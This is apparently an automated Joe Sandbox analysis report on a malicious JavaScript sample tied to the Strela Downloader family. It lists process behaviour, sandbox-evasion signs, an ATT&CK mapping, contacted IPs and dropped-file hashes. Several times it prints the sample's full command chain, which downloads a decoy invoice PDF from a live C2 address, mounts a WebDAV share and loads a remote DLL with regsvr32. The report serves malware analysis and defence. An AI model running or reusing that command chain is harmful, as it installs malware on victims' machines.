Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4764			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5084			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6240	Thread sleep count: 4764 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6240	Thread sleep count: 5084 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1812	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2052	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4072	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1672	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2200541643.000002551E3D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200541643.000002551E43E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3428695758.0000020596A54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3427027998.0000020591229000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
256361061998227470.js	3%	Virustotal		Browse
256361061998227470.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/temU	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.2136794109.00000179B8BE1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2201163062.0000020596770000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3428580841.0000020596A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2200541643.000002551E409000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200541643.000002551E3FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200541643.000002551E3D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200541643.000002551E42B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/temU	net.exe, 00000007.00000002.2200541643.000002551E3D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588230
Start date and time:	2025-01-10 22:52:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	256361061998227470.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 2.23.242.162, 23.209.209.135, 217.20.57.21, 2.16.168.107, 2.16.168.105, 23.40.179.42, 23.40.179.45, 23.40.179.51, 23.40.179.46, 23.40.179.50, 23.40.179.48, 23.40.179.47, 23.40.179.54, 23.40.179.40, 192.168.2.6, 13.107.246.45, 50.16.47.176, 4.245.163.56, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:53:51	API Interceptor	25x Sleep call for process: powershell.exe modified
16:53:55	API Interceptor	1x Sleep call for process: net.exe modified
16:53:55	API Interceptor	2x Sleep call for process: svchost.exe modified
16:54:03	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	boatnet.arm.elf	Get hash	malicious	Unknown	Browse	193.143.1.54
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7262902579371685
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0W:9JZj5MiKNnNhoxuP
MD5:	E4F37D35417CF23DD743D1B170EF7F0F
SHA1:	C09A74EE9F91C3E9F8EC64F390BB0F87AC12CF4D
SHA-256:	C37A4E5584C9368A9DC5857E12BC4C8F39EEEC6A2BBAA2124B7371D522260889
SHA-512:	BF1C2C86259232CBC5E3DD2D07E9331736DA208F14C2B353F9B9C058AE37AA33F77C6DBAE968E37A9449CA3300FD5C5CD4C6F82DD86718F992CEC5EBD6AA2CA1
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xfb505d66, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555156294563685
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	BC6627E7B0263C270DCCEC9B3247D252
SHA1:	A83E03830401FA0A75F5688D94F5BEC6B29F968C
